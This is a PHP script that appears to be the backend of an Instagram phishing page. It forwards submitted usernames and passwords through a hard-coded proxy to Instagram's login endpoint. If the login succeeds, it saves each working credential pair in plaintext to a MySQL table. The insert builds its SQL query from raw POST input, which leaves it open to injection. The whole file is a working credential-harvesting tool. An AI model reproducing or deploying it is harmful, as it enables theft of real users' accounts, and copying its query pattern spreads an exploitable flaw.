<?php
session_start();

$db_host = 'localhost';
$db_username = 'censored';
$db_password = 'censored';
$db_dbname = 'censored';

file_put_contents("cookiess.txt","");
$cookie_path =  dirname(__FILE__)."/cookiess.txt" ;
$cookies = array();
function get_curl($url,$cookie_path="",$postfileds="",$referrer="",$header="",$httpheader='')
{
	global $cookies;
	$agent = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36";
	$proxies = array();
	$proxies[] = '104.28.9.48:80';
	$proxy = $proxies[array_rand($proxies)];
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_PROXY, $proxy);
	curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
	curl_setopt($ch, CURLOPT_URL,$url);
	curl_setopt($ch, CURLOPT_USERAGENT, $agent);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

	if($referrer!="")
	{
		curl_setopt($ch, CURLOPT_REFERER, $referrer);
	}

	if($cookie_path!="")
	{

		curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_path);
		curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_path);
	}
//
	if($postfileds!="")
    {
		$httpheader = array_merge($httpheader,array('content-type:application/x-www-form-urlencoded; charset=UTF-8','origin:https://www.instagram.com'));
		//curl_setopt($ch,CURLOPT_HTTPHEADER,);
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_POSTFIELDS,$postfileds);
	}

	if($header!="")
	{
		curl_setopt($ch, CURLOPT_HEADER, 1);
	}
	if($httpheader!="")
	{
		curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader);
	}
	//curl_setopt($ch, CURLINFO_HEADER_OUT, true); // enable tracking

	$result = curl_exec ($ch);
	preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $result, $matches);
	$cookies = array();
	foreach($matches[1] as $item) {
		parse_str($item, $cookie);
		$cookies = array_merge($cookies, $cookie);
	}
	$curlstatus=curl_getinfo($ch);


 // var_dump(curl_getinfo($ch, CURLINFO_HEADER_OUT));
	return $result;

}
$result = get_curl('https://www.instagram.com/accounts/login/',$cookie_path,"",'https://www.instagram.com/accounts/login/',1);
sleep(2);
$result = get_curl('https://www.instagram.com/accounts/login/ajax/',$cookie_path,"username=".$_POST['username']."&password=".$_POST['password'],'https://www.instagram.com/accounts/login/',"",
	array(

		"x-csrftoken:".$cookies['csrftoken'],
		"x-instagram-ajax:1",
		"x-requested-with:XMLHttpRequest")
	);

$result = json_decode($result);
//var_dump($result);
if(@$result->authenticated){
	echo "ok";
	$_SESSION['username'] = $_POST['username'];
	$mysqli = mysqli_connect($db_host,$db_username,$db_password,$db_dbname);
	//echo "insert into users values ('{$_POST['username']}','{$_POST['password']}')";
	$mysqli->query("insert into users values (null,'{$_POST['username']}','{$_POST['password']}')");
}
else
	echo "Your username or password was incorrect.";

file_put_contents("cookiess.txt","");
?>